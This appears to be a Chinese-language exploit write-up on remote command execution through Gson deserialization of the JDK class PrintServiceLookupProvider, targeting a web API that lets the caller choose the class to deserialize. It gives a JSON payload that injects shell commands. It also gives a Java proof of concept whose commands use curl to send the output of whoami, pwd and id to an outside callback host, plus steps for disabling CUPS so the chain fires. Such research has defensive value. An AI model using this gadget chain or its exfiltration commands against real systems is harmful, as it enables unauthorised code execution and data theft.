Gson反序列化
内网的web服务主要逻辑如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| @RestController @RequestMapping({"/api"}) public class APIController { @GetMapping({"/"}) public String index() throws Exception { return "try /api/com.api.Person/eyJuYW1lIjoidXNlciIsImFnZSI6IjIwIn0="; }
@GetMapping({"/{Person}/{Json}"}) public Person handleApiRequest(@PathVariable String Person, @PathVariable String Json) throws Exception { Gson gson = new Gson(); Person person = (Person)gson.fromJson(new String(Base64.getDecoder().decode(Json), StandardCharsets.UTF_8), Class.forName(Person)); return person; } }
|
这里可以控制json,并指定反序列化的类名。
PrintServiceLookup命令执行
JDK中 PrintServiceLookup接口用于提供打印服务的注册查找功能,在linux的JDK中它的实现类 叫做UnixPrintServiceLookup 或 PrintServiceLookupProvider (高版本 jdk中)
此处以jdk11为例,可以找到sun.print.PrintServiceLookupProvider这个实现类
在PrintServiceLookupProvider的构造函数中首先调用PrinterChangeListener()的构造函数
1 2 3 4 5 6 7 8 9
| public PrintServiceLookupProvider() { if (pollServices) { Thread thr = new Thread((ThreadGroup)null, new PrinterChangeListener(), "PrinterListener", 0L, false); thr.setDaemon(true); thr.start(); IPPPrintService.debug_println(debugPrefix + "polling turned on"); }
}
|
接着进入refreshServices函数
refreshServices函数在运行时检查CUPSPrinter服务是否开启
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| public synchronized void refreshServices() { String[] printers = null; String[] printerURIs = null;
try { this.getDefaultPrintService(); } catch (Throwable var10) { IPPPrintService.debug_println(debugPrefix + "Exception getting default printer : " + var10); }
int defaultIndex; if (CUPSPrinter.isCupsRunning()) { int i; try { printerURIs = CUPSPrinter.getAllPrinters(); IPPPrintService.debug_println("CUPS URIs = " + printerURIs); if (printerURIs != null) { for(i = 0; i < printerURIs.length; ++i) { IPPPrintService.debug_println("URI=" + printerURIs[i]); } } } catch (Throwable var11) { IPPPrintService.debug_println(debugPrefix + "Exception getting all CUPS printers : " + var11); }
if (printerURIs != null && printerURIs.length > 0) { printers = new String[printerURIs.length];
for(i = 0; i < printerURIs.length; ++i) { defaultIndex = printerURIs[i].lastIndexOf("/"); printers[i] = printerURIs[i].substring(defaultIndex + 1); } } } else if (!isMac() && !isSysV()) { if (isAIX()) { printers = this.getAllPrinterNamesAIX(); } else { printers = this.getAllPrinterNamesBSD(); } } else { printers = this.getAllPrinterNamesSysV(); } 。。。。。。
|
如果没有开启会进入else if (!isMac() && !isSysV())
的判断,之后走进getAllPrinterNamesBSD中,这个函数会进行打印机相关的查找,会进行命令执行
1 2 3 4 5 6 7 8
| private String[] getAllPrinterNamesBSD() { if (cmdIndex == -1) { cmdIndex = getBSDCommandIndex(); }
String[] names = execCmd(this.lpcAllCom[cmdIndex]); return names != null && names.length != 0 ? names : null; }
|
这里的lpcAllCom数组是这个类中写死的变量,与之相同的还有lpcNameCom和lpcFirstCom,都会被用来命令执行相关的函数中
如果在反序列化对象时,能设置相关的属性,就可以在构造函数中达到命令执行的效果
但是这个打印机类没有继承Serializable,无法在原生反序列化中使用
GsonGagdets
gson在反序列化时会获取目标类的默认无参数构造函数,通过该函数实例化类,
以fromJson函数为例,恢复属性的过程如下
- 获取目标类的所有字段
- 解析 JSON 字符串,匹配字段
- 字段匹配成功,反射设置值
- 字段匹配失败,忽略该属性
- 反序列化完成,返回类实例
如果在可控反序列化类名的情况下,可以传入PrintServiceLookupProvider,并在json属性中设置lpcAllCom来进行命令执行
1
| {"lpcAllCom":["touch /tmp/123","touch /tmp/123"]}
|
这里写一个Test类测试
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| public static void main(String[] args) throws Exception{
Constructor<PrintServiceLookupProvider> declaredConstructor = PrintServiceLookupProvider.class.getDeclaredConstructor(); declaredConstructor.setAccessible(true); PrintServiceLookupProvider printService=declaredConstructor.newInstance(); Field lpcFirstCom = PrintServiceLookupProvider.class.getDeclaredField("lpcFirstCom"); lpcFirstCom.setAccessible(true); lpcFirstCom.set(printService,new String[]{ "curl http://ip.port.ybd6bike.eyes.sh/`whoami`", "curl http://ip.port.ybd6bike.eyes.sh/`pwd`", "curl http://ip.port.ybd6bike.eyes.sh/`id`"}); Gson gson = new Gson(); String json= gson.toJson(printService); System.out.println(json); }
|
第一步会先构造对象,此时json中的属性还没有设置
反射设置完属性后,走到this.getDefaultPrinterNameBSD
最终cmdIndex取到1,进行命令执行
调用栈如下
1 2 3 4 5 6
| execCmd:872, PrintServiceLookupProvider (sun.print) getDefaultPrinterNameBSD:747, PrintServiceLookupProvider (sun.print) getDefaultPrintService:661, PrintServiceLookupProvider (sun.print) refreshServices:278, PrintServiceLookupProvider (sun.print) run:945, PrintServiceLookupProvider$PrinterChangeListener (sun.print) run:829, Thread (java.lang)
|
坑点
有一个坑点就在于最终运行到命令执行需要满足两个条件。
isCupsRunning要为false,并且不能是macOS和SunOS。后面这个条件其实读取的是该类的属性。由于我是Linux,就不用去管了。如果目标系统是macOS或SunOS,也可以通过反射绕过。
而isCupsRunning则是检测本机的CUPS服务。我本地的vmware+ubuntu环境是默认开启的。可以通过访问http://127.0.0.1:631/
看看是否开启。
关闭CUPS服务并重启,POC就能正常跑通了。
1 2
| sudo systemctl mask cups reboot
|